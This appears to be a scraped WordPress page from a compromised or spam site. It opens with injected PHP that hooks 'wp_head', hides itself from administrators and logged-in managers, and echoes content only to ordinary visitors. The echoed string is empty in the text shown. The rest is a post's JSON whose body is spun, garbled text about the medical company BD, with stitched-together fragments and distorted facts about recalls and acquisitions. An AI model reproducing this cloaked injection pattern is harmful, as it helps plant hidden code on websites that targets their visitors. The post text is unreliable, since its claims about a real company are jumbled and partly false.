if (!function_exists('f4839d963')) { function f4839d963() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f4839d963', 999); {"id":231,"date":"2026-05-27T21:28:10","date_gmt":"2026-05-27T21:28:10","guid":{"rendered":"https:\/\/eyescreenmedia.com\/?p=231"},"modified":"2026-05-27T21:28:45","modified_gmt":"2026-05-27T21:28:45","slug":"bd-company-wikipedia169336","status":"publish","type":"post","link":"https:\/\/eyescreenmedia.com\/?p=231","title":{"rendered":"BD company Wikipedia169336"},"content":{"rendered":"

Advancing the World of Health<\/h1>\n

The BD Rhapsody\u2122\u00a0single-cell platform has been a key tool for the publication of our clinical research. Food and Drug Administration and worldwide health agencies to coordinate recall activities. The approximately 2.8 million BD Q-Syte and 2.9 million BD Nexiva units containing 5 million BD Q-Syte devices that were recalled were distributed in the United States, Asia, Canada, Europe, Mexico, the Middle East, South Africa, and South America. BD recalled and tested the syringes in question, and revealed sterile particulates in 0.013 percent of the products. They found repeat and serious violations of health and safety law that had resulted in two employees having partial finger amputations.<\/p>\n

The transaction was completed later that year, and the company became a wholly-owned subsidiary of BD, rebranded as Bard. In October 2014, the company agreed to acquire CareFusion for a price of US$12.2 billion in cash and stock. Later Retractable would claim BD was falsely advertising its own brand of retractable needle as the \u201cworld\u2019s sharpest needle\u201d. Retractable would accuse BD of patent infringement after BD released a retractable needle of its own.<\/p>\n

BD Completes Combination of Biosciences & Diagnostic Solutions Business with Waters Corporation<\/h2>\n